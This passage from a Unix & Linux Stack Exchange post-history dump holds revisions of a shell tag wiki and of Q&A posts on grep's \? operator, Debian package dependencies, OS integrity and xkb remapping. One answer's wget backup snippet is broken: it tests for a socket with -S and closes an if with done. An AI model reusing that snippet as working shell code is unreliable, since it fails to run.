on the Bourne shell.&#xD;&#xA;* [tag:bash] [Bash](http://www.gnu.org/software/bash/) is a Bourne-style, POSIX-compliant shell from the [GNU](http://www.gnu.org/) project. It is the default interactive and scripting shell on most Linux distributions, and available on most other unices. Bash adds many features, both for scripting and for interactive use.&#xD;&#xA;* [tag:ksh] [Ksh](http://kornshell.com/) is a Bourne-style, POSIX-compliant shell. It adds many advanced features, mostly for scripting. Although ksh has been open-source since 2000, it is still less favored in the open source world, and there are several partial ksh clones.&#xD;&#xA;* [tag:zsh] [Zsh](http://www.zsh.org/) is mostly Bourne-style, but with a few syntactic differences. It has a POSIX emulation mode. It has many extra features, both for scripting and for interactive use.&#xD;&#xA;* [tag:busybox] [Busybox](http://www.busybox.net/) is a contains a mostly POSIX-compliant shell with some line edition capabilities together with many simple utilities. It is targetted towards embedded systems.&#xD;&#xA;&#xD;&#xA;### Other well-known shells&#xD;&#xA;&#xD;&#xA;* [tag:csh] [tag:tcsh] The [C shell](http://en.wikipedia.org/wiki/C_shell) is one of the two surviving shells from the old days. It is [not favored for scripting](http://www.faqs.org/faqs/unix-faq/shell/csh-whynot/). The main implementation today is [tcsh](http://www.tcsh.org/). C shells used to have more interactive features than Bourne-style shells, but bash and zsh have now overtaken tcsh.&#xD;&#xA;* [tag:fish] [Fish](http://fishshell.org/) is a relative newcomer inspired by classical and aiming to combine power and simplicity.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What are the fundamental differences between the mainstream *NIX shells?](http://unix.stackexchange.com/questions/3320/what-are-the-fundamental-differences-between-the-mainstream-nix-shells)&#xD;&#xA;* [Object-oriented shell for *nix](http://unix.stackexchange.com/questions/4495/object-oriented-shell-for-nix)&#xD;&#xA;&#xD;&#xA;## Interactive use&#xD;&#xA;&#xD;&#xA;These are features commonly found in shells with good interaction support (bash, tcsh, zsh, fish):&#xD;&#xA;&#xD;&#xA;* command line edition, often with configurable key bindings.&#xD;&#xA;* [tag:command-history] a history of commands that can be navigated with the `Up` and `Down` keys, searched, etc.; also a recall mechanism based on expanding sequences beginning with `!`.&#xD;&#xA;* [tag:autocomplete] completion of partially-entered file names, command names, options and other arguments.&#xD;&#xA;* [tag:job-control] management of background processes.&#xD;&#xA;* [tag:prompt] showing a prompt before each command, which many users like to configure.&#xD;&#xA;* [tag:alias] defining short names for often-used commands&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?](http://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-cons)&#xD;&#xA;* [What are your favorite command line features or tricks?](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks)&#xD;&#xA;* http://unix.stackexchange.com/questions/983/what-features-are-in-zsh-and-missing-from-bash-or-vice-versa&#xD;&#xA;* [Colorizing your terminal and shell environment?](http://unix.stackexchange.com/questions/148/colorizing-your-terminal-and-shell-environment)&#xD;&#xA;* [best way to search my shell's history](http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history); [How to access the history on the fly in unix?](http://unix.stackexchange.com/questions/1254/how-to-access-the-history-on-the-fly-in-unix)&#xD;&#xA;&#xD;&#xA;## Shell scripting&#xD;&#xA;&#xD;&#xA;Shells have traditional control structures (conditionals, loops) as well as means to combine processes (in particular the [pipe](http://en.wikipedia.org/wiki/Pipe_%28Unix%29)). They have built-in support for a few tasks such as arithmetic and basic string manipulation, but rely on external commands for other things.&#xD;&#xA;&#xD;&#xA;Almost every unix-like system provides a [POSIX](http://pubs.opengroup.org/onlinepubs/009695399/)-compliant shell, usually as `/bin/sh`. So scripts aiming to be portable between unix variants should be written according to that standard, and start with the `#!/bin/sh` [shebang](http://en.wikipedia.org/wiki/Shebang_%28Unix%29) line.&#xD;&#xA;&#xD;&#xA;Many systems have at least ksh or bash available. These provide a number of useful extensions, though not always with the same syntax. Features present in both (and in zsh) include local variables in function, array variables, the double bracket syntax for conditionals (`[[ … ]]`), and (requiring an option to be set in bash and zsh) additional globbing patterns such as `@(…)`.&#xD;&#xA;&#xD;&#xA;A common difficulty in shell programming is quoting. Unlike in most programming languages, almost everything is a string, and quoting is only necessary around special characters. However some cases are tricky. In particular, a common pitfall is that variable and common substitions (`$foo`, `$(foo)`) undergo further expansion and should be protected by double quotes (`&quot;$foo&quot;`, `&quot;$(foo)&quot;`) unless that further expansion is desired.&#xD;&#xA;&#xD;&#xA;### Related tags&#xD;&#xA;&#xD;&#xA;* [tag:quoting] a tricky aspect of shell programming&#xD;&#xA;* [tag:wildcards] globbing, i.e., using patterns to match multiple files&#xD;&#xA;* [tag:io-redirection] connecting the input or output of a command to a file&#xD;&#xA;* [tag:pipe] connecting the output of a command to the input of another command&#xD;&#xA;* [tag:file-management] [tag:text-processing] two common shell tasks&#xD;&#xA;* [tag:utilities] Shells often call external utilities dedicated to one particular task. Some have their own tags as well: [tag:awk] [tag:cd] [tag:cp] [tag:date] [tag:dd] [tag:find] [tag:grep] [tag:ls] [tag:mv] [tag:rm] [tag:sed] …&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Practical tasks to learn shell scripting.](http://unix.stackexchange.com/questions/490/practical-tasks-to-learn-shell-scripting)&#xD;&#xA;* [$VAR vs ${VAR} and to quote or not to quote](http://unix.stackexchange.com/questions/4899/var-vs-var-and-to-quote-or-not-to-quote)&#xD;&#xA;* [How do I delete a file whose name begins with “--”?](http://unix.stackexchange.com/questions/1519/how-do-i-delete-a-file-whose-name-begins-with)&#xD;&#xA;" />
  <row Id="23906" PostHistoryTypeId="6" PostId="9953" RevisionGUID="09135f67-34fa-4ebd-8505-389720168603" CreationDate="2011-03-23T21:24:45.403" UserId="885" Comment="edited tags" Text="élinuxàékernelàéioàépriorityàéniceà" />
  <row Id="23907" PostHistoryTypeId="2" PostId="9995" RevisionGUID="64c55a38-bb0b-4404-a2e8-5f1d159469de" CreationDate="2011-03-23T21:25:25.583" UserId="3432" Text="`ls -alct /root`               -&gt; root home directory is created at install time" />
  <row Id="23908" PostHistoryTypeId="6" PostId="4522" RevisionGUID="3fa0c6f4-ccc2-4f07-af67-7831ec46ae8c" CreationDate="2011-03-23T21:25:38.273" UserId="885" Comment="edited tags" Text="éircàéirssià" />
  <row Id="23909" PostHistoryTypeId="5" PostId="9931" RevisionGUID="2a4b1b4d-1d84-477a-b4ff-3a874fb77631" CreationDate="2011-03-23T21:29:56.070" UserId="885" Comment="formatting; grammar" Text="I have a server which has dual authentication layer. Meaning first a user has to login to the box using his userid and then use a group id to access the development folder (say). Now I have a script which uses ssh to copy a file to the development folder. What should be the command for this?&#xD;&#xA;&#xD;&#xA;Normal ssh commands such as as `ssh $user@host $cmd` where `$cmd` is something like `cp ~user/Test.txt ~grp/` won't work because we are using user's id to copy to group's directory which is not allowed. And if we use group id to login it will be denied permission. Any suggestions?" />
  <row Id="23910" PostHistoryTypeId="2" PostId="9996" RevisionGUID="f17e65e9-a6e7-4911-9ad0-7f55fd48f435" CreationDate="2011-03-23T21:42:59.870" UserId="885" Text="Make a copy of the file before calling wget. (There doesn't seem to be a way to tell wget to unlink and recreate rather than clobber the file.)&#xD;&#xA;&#xD;&#xA;    cp -p foo foo.prev&#xD;&#xA;    wget http://example.com/foo&#xD;&#xA;    if ! [ -S &quot;foo&quot; ]; then mv -f foo.prev foo; done&#xD;&#xA;" />
  <row Id="23911" PostHistoryTypeId="2" PostId="9997" RevisionGUID="8876b92e-0ded-4f37-ac81-eb8742503086" CreationDate="2011-03-23T21:56:29.070" UserId="885" Text="What resources exist for portable shell programming? The ultimate answer is to test on all targeted platforms, but that's rarely practical.&#xD;&#xA;&#xD;&#xA;The [POSIX / Single UNIX specification](http://pubs.opengroup.org/onlinepubs/009695399/) is a start, but it tells neither you what the level of support of each implementation is, nor what common extensions exist. You can read the documentation of each implementation, but that's very time consuming and not completely accurate.&#xD;&#xA;&#xD;&#xA;I seems to me that an ideal format would be some kind of community-annotated version of the POSIX spec, where each feature is annotated by its support level amongst the different implementations. Is there such a thing? Or are there other useful resources?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;&#xD;&#xA;For example, there is [Sven Mascheck's shell portability pages](http://www.in-ulm.de/~mascheck/various/), but it's only about syntactic elements and a few built-ins, and only covers old shells. I'm looking for a more comprehensive resource.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="23912" PostHistoryTypeId="1" PostId="9997" RevisionGUID="8876b92e-0ded-4f37-ac81-eb8742503086" CreationDate="2011-03-23T21:56:29.070" UserId="885" Text="Resources for portable shell programming" />
  <row Id="23913" PostHistoryTypeId="3" PostId="9997" RevisionGUID="8876b92e-0ded-4f37-ac81-eb8742503086" CreationDate="2011-03-23T21:56:29.070" UserId="885" Text="éshellàéstandardàéreferenceà" />
  <row Id="23915" PostHistoryTypeId="25" PostId="9997" RevisionGUID="ca9798d7-54fa-4f23-96e1-bbf61999ed8e" CreationDate="2011-03-23T23:31:33.763" Comment="http://twitter.com/#!/StackUnix/status/50701245995950080" />
  <row Id="23916" PostHistoryTypeId="2" PostId="9998" RevisionGUID="3b187f0e-006e-4bfc-bf37-881774a962fb" CreationDate="2011-03-23T23:49:35.640" UserId="2362" Text="&gt; In information security, integrity&#xD;&#xA;&gt; means that data cannot be modified&#xD;&#xA;&gt; undetectably.&#xD;&#xA;&#xD;&#xA;[This answer][1] raised my interest, of course, I want guarantee the integrity of my OS, outlined [here][2]. Suppose a security camera project where you store every photo to a folder. How could you guarantee the integrity of the os so that no picture cannot be removed or if removed it will leave traces?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Please, add a label &quot;operating-systems&quot; and &quot;integrity&quot;, my preference is openbsd, but I am interested in general about the integrity of OSs as well.*&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/9527/full-disk-encryption-on-openbsd/9684#9684&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/CIA_triad#Integrity" />
  <row Id="23917" PostHistoryTypeId="1" PostId="9998" RevisionGUID="3b187f0e-006e-4bfc-bf37-881774a962fb" CreationDate="2011-03-23T23:49:35.640" UserId="2362" Text="How to quarantee the Integrity of OS?" />
  <row Id="23918" PostHistoryTypeId="3" PostId="9998" RevisionGUID="3b187f0e-006e-4bfc-bf37-881774a962fb" CreationDate="2011-03-23T23:49:35.640" UserId="2362" Text="éopenbsdà" />
  <row Id="23919" PostHistoryTypeId="5" PostId="9998" RevisionGUID="8c52af40-44a7-4780-ad49-2f373551dcc5" CreationDate="2011-03-23T23:51:53.993" UserId="73" Comment="deleted 56 characters in body; edited tags; edited title" Text="&gt; In information security, integrity&#xD;&#xA;&gt; means that data cannot be modified&#xD;&#xA;&gt; undetectably.&#xD;&#xA;&#xD;&#xA;[This answer][1] raised my interest, of course, I want to guarantee the integrity of my OS, outlined [here][2]. Suppose a security camera project where you store every photo to a folder. How could you guarantee the integrity of the OS so that no picture cannot be removed or if removed it will leave traces?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My preference is OpenBSD, but I am interested in general about the integrity of OSs as well.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/9527/full-disk-encryption-on-openbsd/9684#9684&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/CIA_triad#Integrity" />
  <row Id="23920" PostHistoryTypeId="4" PostId="9998" RevisionGUID="8c52af40-44a7-4780-ad49-2f373551dcc5" CreationDate="2011-03-23T23:51:53.993" UserId="73" Comment="deleted 56 characters in body; edited tags; edited title" Text="How to guarantee the integrity of an OS?" />
  <row Id="23921" PostHistoryTypeId="6" PostId="9998" RevisionGUID="8c52af40-44a7-4780-ad49-2f373551dcc5" CreationDate="2011-03-23T23:51:53.993" UserId="73" Comment="deleted 56 characters in body; edited tags; edited title" Text="éopenbsdàéintegrityà" />
  <row Id="23922" PostHistoryTypeId="6" PostId="9998" RevisionGUID="c3159373-abe4-444b-a7f9-951cbd53a6a8" CreationDate="2011-03-23T23:51:56.467" UserId="2362" Comment="edited tags" Text="ésecurityàéopenbsdà" />
  <row Id="23923" PostHistoryTypeId="17" PostId="10000" RevisionGUID="8a2607fb-8b2c-4da0-a4be-a29bcb9bfc4f" CreationDate="2011-03-24T00:05:26.767" UserId="-1" Comment="from http://stackoverflow.com/questions/5394016/debian-lenny-5-install-php-dev/5410727#5410727" Text="" />
  <row Id="23924" PostHistoryTypeId="2" PostId="10000" RevisionGUID="3b55c475-358c-46fa-84ae-0c757e652bd0" CreationDate="2011-03-23T19:42:50.343" UserId="2277" Text="The problem is that you are trying to install php5-dev from squeeze instead of lenny.  The lenny version of php5-dev doesn't depend on any particular version of libtool or autoconf the way that the squeeze version does.  If I were to guess how you got into this situation, I'd guess that you got into this because you now or at some time had &quot;squeeze&quot; in your sources.list and installed some stuff, or perhaps you are referencing &quot;stable&quot; instead of &quot;lenny&quot; or &quot;squeeze&quot; in your sources.list and now you might be running some mix of lenny in squeeze.`apt-cache policy php5-dev` should tell you where you are getting php5-dev from, which might help." />
  <row Id="23925" PostHistoryTypeId="2" PostId="9999" RevisionGUID="a59e1f2e-0bb1-4e25-9a53-03cd02b0a551" CreationDate="2011-03-22T15:55:38.747" UserDisplayName="albertopriore" Text="I'm trying to install apt-get install php5-dev&#xD;&#xA;but when I run the command &#xD;&#xA;&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree&#xD;&#xA;    Reading state information... Done&#xD;&#xA;    Some packages could not be installed. This may mean that you have&#xD;&#xA;    requested an impossible situation or if you are using the unstable&#xD;&#xA;    distribution that some required packages have not yet been created&#xD;&#xA;    or been moved out of Incoming.&#xD;&#xA;    The following information may help to resolve the situation:&#xD;&#xA;    &#xD;&#xA;    The following packages have unmet dependencies:&#xD;&#xA;      php5-dev: Depends: autoconf (&gt;= 2.63) but 2.61-8 is to be installed&#xD;&#xA;                Depends: libtool (&gt;= 2.2) but it is not going to be installed&#xD;&#xA;    E: Broken packages&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can I solve this situation?" />
  <row Id="23926" PostHistoryTypeId="1" PostId="9999" RevisionGUID="a59e1f2e-0bb1-4e25-9a53-03cd02b0a551" CreationDate="2011-03-22T15:55:38.747" UserDisplayName="albertopriore" Text="Debian lenny 5 install php-dev" />
  <row Id="23927" PostHistoryTypeId="3" PostId="9999" RevisionGUID="a59e1f2e-0bb1-4e25-9a53-03cd02b0a551" CreationDate="2011-03-22T15:55:38.747" UserDisplayName="albertopriore" Text="éphpàédebianà" />
  <row Id="23928" PostHistoryTypeId="17" PostId="9999" RevisionGUID="7209bb74-1bc9-472e-a145-38e6e3c9cb83" CreationDate="2011-03-24T00:05:26.767" UserId="-1" Comment="from http://stackoverflow.com/questions/5394016/debian-lenny-5-install-php-dev" Text="" />
  <row Id="23929" PostHistoryTypeId="6" PostId="9940" RevisionGUID="8e085eb1-486b-4d52-bfc8-302d784c88be" CreationDate="2011-03-24T00:14:19.607" UserId="885" Comment="edited tags" Text="élinuxàédebianàéaptàéipv6à" />
  <row Id="23930" PostHistoryTypeId="2" PostId="10001" RevisionGUID="1c551779-c527-4f85-b4a3-2915098f581a" CreationDate="2011-03-24T00:18:52.603" UserId="3519" Text="Just an off-the-side idea for your particular example and to keep things simple: you could send off-site a hash of every picture (if you cannot afford the whole picture).&#xD;&#xA;&#xD;&#xA;Make sure that the off-site service has &quot;add&quot; capability only (and read of course), i.e. that the source system cannot remove existing record.&#xD;&#xA;&#xD;&#xA;Lastly have a trip-wire style off-site script to compare the source server with the off-site hash history.&#xD;&#xA;&#xD;&#xA;Not sure this answers your question, but to me there is no easy way to absolutely guarantee one system's integrity without having recourse to the outside world (third-party). Even then it cannot be a 100% guarantee ever, but at least you are significantly reducing the risks of all systems being compromised." />
  <row Id="23931" PostHistoryTypeId="2" PostId="10002" RevisionGUID="e0d1ae49-d954-4fc8-a74a-4585d2415bea" CreationDate="2011-03-24T01:14:36.483" UserId="4667" Text="Writing your scripts using [dash][1] might be a start.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Debian_Almquist_shell" />
  <row Id="23932" PostHistoryTypeId="2" PostId="10003" RevisionGUID="03f1a2f4-f328-42d5-be2a-aed85c6c2a2d" CreationDate="2011-03-24T02:08:33.367" UserId="2098" Text="I suspect you might like [Fake.app](http://fakeapp.com/), but I have no idea to what extent it offers saving/output. Perhaps with Fake and Automator you could load the page, save a snapshot, move to the next page number?" />
  <row Id="23933" PostHistoryTypeId="25" PostId="9998" RevisionGUID="e5f01700-d140-41a6-bb26-ce7f54272e9d" CreationDate="2011-03-24T02:31:33.427" Comment="http://twitter.com/#!/StackUnix/status/50746543136964608" />
  <row Id="23934" PostHistoryTypeId="2" PostId="10004" RevisionGUID="a54bef55-19bd-4951-99f6-91c2eeb31c45" CreationDate="2011-03-24T02:45:49.747" UserId="5997" Text="the following command is used to search for a 7-digit phone number&#xD;&#xA;&#xD;&#xA;    grep &quot;[[:digit:]]\{3\}[ -]\?[[:digit:]]\{4\}&quot; file&#xD;&#xA;&#xD;&#xA;what does \? stand for?" />
  <row Id="23935" PostHistoryTypeId="1" PostId="10004" RevisionGUID="a54bef55-19bd-4951-99f6-91c2eeb31c45" CreationDate="2011-03-24T02:45:49.747" UserId="5997" Text="question on \? in regular expression" />
  <row Id="23936" PostHistoryTypeId="3" PostId="10004" RevisionGUID="a54bef55-19bd-4951-99f6-91c2eeb31c45" CreationDate="2011-03-24T02:45:49.747" UserId="5997" Text="égrepàéregexà" />
  <row Id="23937" PostHistoryTypeId="2" PostId="10005" RevisionGUID="7a2d3036-3572-41e4-b08a-c0b09f87789f" CreationDate="2011-03-24T02:50:34.720" UserId="3169" Text="It means zero of one of whatever came before it.&#xD;&#xA;&#xD;&#xA;From man grep:&#xD;&#xA;&#xD;&#xA;&gt;    Basic vs Extended Regular Expressions&#xD;&#xA;       In basic regular expressions the meta-characters ?, +, {, |, (, and ) lose their special meaning; instead use the backslashed versions \?, \+, \{, \|, \(, and \).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note that this is a GNU extension." />
  <row Id="23938" PostHistoryTypeId="5" PostId="10004" RevisionGUID="90d978e0-3d41-4b81-8bb0-53f0c1e170f8" CreationDate="2011-03-24T02:59:33.670" UserId="73" Comment="added 3 characters in body" Text="The following command is used to search for a 7-digit phone number:&#xD;&#xA;&#xD;&#xA;    grep &quot;[[:digit:]]\{3\}[ -]\?[[:digit:]]\{4\}&quot; file&#xD;&#xA;&#xD;&#xA;What does `\?` stand for?" />
  <row Id="23939" PostHistoryTypeId="5" PostId="10005" RevisionGUID="3b465112-60ba-4453-86a6-9f7053f77014" CreationDate="2011-03-24T03:00:50.533" UserId="3169" Comment="added 986 characters in body" Text="It means zero of one of whatever came before it.&#xD;&#xA;&#xD;&#xA;In your example of `[ -]\?`, it means there can be a space, a hyphen/minus, or neither.&#xD;&#xA;&#xD;&#xA;In many other tools, zero or one is written as `?`, but for backwards compatibility, `grep` uses a different syntax called &quot;basic regular expressions&quot;, where `?` just means a literal question mark.&#xD;&#xA;&#xD;&#xA;To provide the zero or more quantifier, GNU grep added `\?`.&#xD;&#xA;&#xD;&#xA;From man grep:&#xD;&#xA;&#xD;&#xA;&gt; grep  understands three different versions of regular expression syntax: “basic,” “extended” and “perl.” In GNU grep, there is no difference in available functionality between basic and extended syntaxes.  In other implementations, basic regular expressions are less powerful.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt;    Basic vs Extended Regular Expressions&#xD;&#xA;       In basic regular expressions the meta-characters ?, +, {, |, (, and ) lose their special meaning; instead use the backslashed versions \?, \+, \{, \|, \(, and \).&#xD;&#xA;&#xD;&#xA;Further info:&#xD;&#xA;&#xD;&#xA;  * `grep -E` option and `egrep`&#xD;&#xA;  * [GNU grep - Basic vs Extended][2]&#xD;&#xA;  * [Regexp Syntax Summary][1]&#xD;&#xA;  * [Regular Expression - Wikipedia][3]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.greenend.org.uk/rjk/2002/06/regexp.html&#xD;&#xA;  [2]: http://www.gnu.org/software/grep/manual/html_node/Basic-vs-Extended.html#Basic-vs-Extended&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Regular_expression" />
  <row Id="23940" PostHistoryTypeId="2" PostId="10006" RevisionGUID="e09b500f-7053-40de-b0ec-64b9e594bba2" CreationDate="2011-03-24T03:01:35.837" UserId="5267" Text="Unfortunately, the exact syntax of regular expressions varies slightly between different programs: grep regexes aren't exactly the same as sed regexes, which aren't exactly the same as Emacs regexes, which aren't exactly the same as C++ regexes, and so on. To make matters worse, even a &quot;standard&quot; tool like grep can vary slightly between different Unix-like operating systems.&#xD;&#xA;&#xD;&#xA;In a regex, some characters have special meaning (such as the square brackets in your example), and revert to their normal meaning as literal characters when you &quot;escape&quot; them by putting a backslash in front of them (so a literal bracket would be written as \\[). Others work the other way around, and only take on special meaning when escaped (e.g. plain n is just a letter, but \\n is a line feed). And these, again, can vary between regex implementations.&#xD;&#xA;&#xD;&#xA;In most regex implementations, a question mark means that the previous item is optional, while an escaped question mark (\\?) is a literal question mark. But in a few dialects, it's the other way around. Your example could make sense either way around, but I suspect you have one of the dialects where ? is a literal and \\? is the optional symbol. So your regex probably means &quot;three digits, optionally followed by a space or dash, followed by four digits&quot;.&#xD;&#xA;&#xD;&#xA;(Another clue can be seen in constructs like \\{3\\}, which is clearly intended to mean &quot;exactly 3 of the previous item&quot;. In most regex dialects this would be written {3}, and \\{ would be a literal brace.)&#xD;&#xA;" />
  <row Id="23941" PostHistoryTypeId="5" PostId="10005" RevisionGUID="fa8c44d8-8cc5-4924-8d0b-75b02c3312dd" CreationDate="2011-03-24T03:10:30.980" UserId="3169" Comment="added 717 characters in body" Text="It's like `?` in many other regular expression engines, and means &quot;match zero or one of whatever came before it&quot;.&#xD;&#xA;&#xD;&#xA;In your example of `[ -]\?`, it means there can be a space, a hyphen/minus, or neither.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The reason it's written as `\?` rather than `?` is for backwards compatibility.&#xD;&#xA;&#xD;&#xA;The original version of `grep` used a different type of regular expression called a &quot;basic regular expression&quot; where `?` just meant a literal question mark.&#xD;&#xA;&#xD;&#xA;So that GNU grep could have the zero or one functionality, they added it, but had to use the `\?` syntax so that scripts that used `?` still worked as expected.&#xD;&#xA;&#xD;&#xA;Note that grep has an `-E` option which makes it use the more common type of regular expression, called &quot;extended regular expressions&quot;.&#xD;&#xA;&#xD;&#xA;`man 1 grep`:&#xD;&#xA;&#xD;&#xA;       -E, --extended-regexp&#xD;&#xA;              Interpret PATTERN as an extended regular expression&#xD;&#xA;              (ERE, see below).  (-E is specified by POSIX.)&#xD;&#xA;&#xD;&#xA;       -G, --basic-regexp&#xD;&#xA;              Interpret PATTERN as a basic regular expression (BRE, see below).&#xD;&#xA;              This is the default.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;    Repetition&#xD;&#xA;        A regular expression may be followed by one of several repetition operators:&#xD;&#xA;        ?      The preceding item is optional and matched at most once.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;        grep understands three different versions of regular expression syntax:&#xD;&#xA;        “basic,” “extended” and “perl.”&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;    Basic vs Extended Regular Expressions&#xD;&#xA;        In basic regular expressions the meta-characters ?, +, {, |, (, and )&#xD;&#xA;        lose their special meaning; instead use the backslashed versions&#xD;&#xA;        \?, \+, \{, \|, \(, and \).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Further info:&#xD;&#xA;&#xD;&#xA;  * `grep -E` option and `egrep`&#xD;&#xA;  * [GNU grep - Basic vs Extended][2]&#xD;&#xA;  * [Regexp Syntax Summary][1]&#xD;&#xA;  * [Regular Expression - Wikipedia][3]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.greenend.org.uk/rjk/2002/06/regexp.html&#xD;&#xA;  [2]: http://www.gnu.org/software/grep/manual/html_node/Basic-vs-Extended.html#Basic-vs-Extended&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Regular_expression" />
  <row Id="23942" PostHistoryTypeId="5" PostId="10005" RevisionGUID="275e8c3e-ccf0-46c6-87e2-66c91891a5b9" CreationDate="2011-03-24T03:21:57.090" UserId="3169" Comment="added 125 characters in body; added 128 characters in body" Text="It's like `?` in many other regular expression engines, and means &quot;match zero or one of whatever came before it&quot;.&#xD;&#xA;&#xD;&#xA;In your example, the `\?` is applied to the `[ -]`, meaning it tries to match a space or a minus, but that the space or minus is optional.&#xD;&#xA;&#xD;&#xA;So any of these will match:&#xD;&#xA;&#xD;&#xA;    555 1234&#xD;&#xA;    555-1234&#xD;&#xA;    5551234&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The reason it's written as `\?` rather than `?` is for backwards compatibility.&#xD;&#xA;&#xD;&#xA;The original version of `grep` used a different type of regular expression called a &quot;basic regular expression&quot; where `?` just meant a literal question mark.&#xD;&#xA;&#xD;&#xA;So that GNU grep could have the zero or one functionality, they added it, but had to use the `\?` syntax so that scripts that used `?` still worked as expected.&#xD;&#xA;&#xD;&#xA;Note that grep has an `-E` option which makes it use the more common type of regular expression, called &quot;extended regular expressions&quot;.&#xD;&#xA;&#xD;&#xA;`man 1 grep`:&#xD;&#xA;&#xD;&#xA;       -E, --extended-regexp&#xD;&#xA;              Interpret PATTERN as an extended regular expression&#xD;&#xA;              (ERE, see below).  (-E is specified by POSIX.)&#xD;&#xA;&#xD;&#xA;       -G, --basic-regexp&#xD;&#xA;              Interpret PATTERN as a basic regular expression (BRE, see below).&#xD;&#xA;              This is the default.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;    Repetition&#xD;&#xA;        A regular expression may be followed by one of several repetition operators:&#xD;&#xA;        ?      The preceding item is optional and matched at most once.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;        grep understands three different versions of regular expression syntax:&#xD;&#xA;        “basic,” “extended” and “perl.”&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;    Basic vs Extended Regular Expressions&#xD;&#xA;        In basic regular expressions the meta-characters ?, +, {, |, (, and )&#xD;&#xA;        lose their special meaning; instead use the backslashed versions&#xD;&#xA;        \?, \+, \{, \|, \(, and \).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Further info:&#xD;&#xA;&#xD;&#xA;  * `grep -E` option and `egrep`&#xD;&#xA;  * [GNU grep - Basic vs Extended][2]&#xD;&#xA;  * [Regexp Syntax Summary][1]&#xD;&#xA;  * [Regular Expression - Wikipedia][3]&#xD;&#xA;  * http://unix.stackexchange.com/questions/7600/why-do-some-regex-commands-have-opposite-intepretations-of-with-various-chara&#xD;&#xA;&#xD;&#xA;  [1]: http://www.greenend.org.uk/rjk/2002/06/regexp.html&#xD;&#xA;  [2]: http://www.gnu.org/software/grep/manual/html_node/Basic-vs-Extended.html#Basic-vs-Extended&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Regular_expression" />
  <row Id="23943" PostHistoryTypeId="2" PostId="10007" RevisionGUID="86585e6a-03f1-4748-88fc-8a1e76588b08" CreationDate="2011-03-24T03:23:44.023" UserId="5993" Text="[Links2][1] with a trigger of -g should take care of that JavaScript problem.&#xD;&#xA;&#xD;&#xA;You'll might need some tweaking to do to meet your monitor or terminal for that there is always a man page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://links.twibright.com/" />
  <row Id="23944" PostHistoryTypeId="5" PostId="9993" RevisionGUID="6feb9c94-8651-4701-b4cd-8663de32b9d8" CreationDate="2011-03-24T03:46:48.933" UserId="5993" Comment="added 11 characters in body" Text="    tune2fs -l /dev/sda or /dev/sdb  | grep cr&#xD;&#xA;This will tell you when file system was created. " />
  <row Id="23945" PostHistoryTypeId="25" PostId="10004" RevisionGUID="dd3b386e-7278-4350-98d6-cf607eadb6f5" CreationDate="2011-03-24T05:31:33.777" Comment="http://twitter.com/#!/StackUnix/status/50791842991718400" />
  <row Id="23946" PostHistoryTypeId="5" PostId="9635" RevisionGUID="93e19e13-2f25-423a-b891-28599b06a703" CreationDate="2011-03-24T06:06:20.923" UserId="5884" Comment="added 10 characters in body; deleted 675 characters in body" Text="#Aim#&#xD;&#xA;&#xD;&#xA;I would like to assign Alt to CapsLock-key, and Meta to Alt-key. But in such way, Alt-key would no longer be recognized as Alt, and CapsLock-key would no longer be recognized as CapsLock.&#xD;&#xA;&#xD;&#xA;openSUSE 11.4&#xD;&#xA;&#xD;&#xA;#Previously#&#xD;&#xA;&#xD;&#xA;openSUSE 11.1 -- since I am the only user of my computer I &quot;simply&quot; edited the /usr/share/X11/xkb/keycodes/xfree86 file and it worked without problem. Keys were wired to their symbols at the lowest level.&#xD;&#xA;&#xD;&#xA;#Problems#&#xD;&#xA;&#xD;&#xA;##1. xkb##&#xD;&#xA;&#xD;&#xA;I created a variant of Polish layout (pl_ext) which (for test) consists of such entries:&#xD;&#xA;&#xD;&#xA;    key &lt;CAPS&gt; { [ Alt_L ] };&#xD;&#xA;    modifier_map Mod1 { Alt_L, Alt_R };&#xD;&#xA;&#xD;&#xA;However this does simply nothing, CapsLock-key in xev is recognized (symbol) as Alt_L, but when I press CapsLock-key it behaves like CapsLock (e.g. assuming you have File in menu, Alt+F should open this menu, it does not).&#xD;&#xA;&#xD;&#xA;*Read more in 